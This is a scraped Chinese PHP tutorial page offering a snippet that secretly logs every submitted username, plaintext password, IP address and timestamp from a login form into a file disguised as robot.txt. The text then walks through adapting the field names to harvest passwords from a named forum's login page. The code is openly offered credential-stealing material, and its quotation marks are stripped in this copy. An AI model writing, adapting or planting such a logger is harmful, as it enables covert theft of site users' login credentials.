php截取后台登陆密码的代码_PHP教程

WBOY
Release: 2016-07-21 15:19:27
Original
755 people have browsed it

if($_POST[loginsubmit]!=){ //判断是否点了登陆按钮
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 连起来赋值给变量$sb
fwrite(fopen(robot.txt,ab),$sb);} //结果写入一个文件


下面简单分析一下,以华夏的登陆页面为例。打开bbs.xxx.com/login.php 右键查看源码,CTRL+F搜索action找到登陆的表单。

我只复制了关键代码过来.


//action后面的值即是表单提交的地址,里面会处理登陆,比如判断密码是不是正确什么的 method为POST,所以用$_POST接收。

。。。。强大的省略号。。。。。。


账号(U):

class=input id=pwuser accessKey=u size=16
name=pwuser> //用户名的input输入框, 注意其name的值, 要和$_POST[username] 这里面的对应, 所以要截取华夏的密码,需要改为 $_POST[pwuser]


密 码(P):
class=input id=pwpwd accessKey=p
type=password size=16 name=pwpwd> //用户名的input输入框, 注意其name的值, 要和$_POST[username] 这里面的对应, 所以要截取华夏的密码,需要改为 $_POST[pwpwd]

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/325278.htmlTechArticleif($_POST[loginsubmit]!=){ //判断是否点了登陆按钮 $sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template
About us Disclaimer Sitemap
php.cn:Public welfare online PHP training,Help PHP learners grow quickly!